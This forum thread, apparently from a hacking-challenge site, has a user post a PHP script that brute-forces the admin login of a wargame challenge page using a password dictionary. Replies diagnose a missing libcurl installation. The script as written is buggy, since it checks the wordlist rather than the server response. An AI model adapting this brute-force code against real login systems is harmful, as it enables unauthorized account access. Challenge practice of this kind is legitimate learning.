For those who know php
Ok, I have a nice lil bruteforcer in php, but im getting an error - Fatal error: Call to undefined function curl_init() in /hd2/djcsites/i love hbh. keep up the good work!.com/thethreecats/bruteforcer.php on line 6
What can I do to fix it? and yes, I did look at other people's codes and got the ideas from other people's source. here is my code:
<body>
<?php
$fh = fopen("dic.txt", "r");
while(!feof($fh)) {
$curl = curl_init();
$pass = fgets($fh,1024);
$data = fread($fh, filesize('dic.txt'));
curl_setopt($curl,
CURLOPT_URL,"http://hellboundhackers.org/challenges/real8/admin.php");
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS,
"Uname=admin&Pword=$pass&Submit=True");
curl_exec ($curl);
curl_close ($curl);
$result = eregi("Incorrect", $data);
if ( $result == 0 ) {
echo "$pass is the password!";
break;
fclose($fh);
}
}
?>
<p /> Again!
</body>
</html>```
Well, the error you're getting is that PHP doesn't recognize the function on line 6, curl_init(). The only reason I can think of that occuring is if you're running a version of PHP before 4.0.3, since that's when the function came about. But that's really old…are you running on a commercial server or off of a private home one?
AldarHawk wrote: the server you are running that off of does not have curl installed on it. easy as that.
smacks forehead yeah, I guess that makes sense :P…I've never dealt with a server that didn't have CURL on it, so I never realized that it wasn't built in. Just goes to show how much I know… :P
From PHP.NET… Requirements
In order to use PHP's CURL functions you need to install the libcurl package. PHP requires that you use libcurl 7.0.2-beta or higher. In PHP 4.2.3, you will need libcurl version 7.9.0 or higher. From PHP 4.3.0, you will need a libcurl version that's 7.9.8 or higher. PHP 5.0.0 requires a libcurl version 7.10.5 or greater.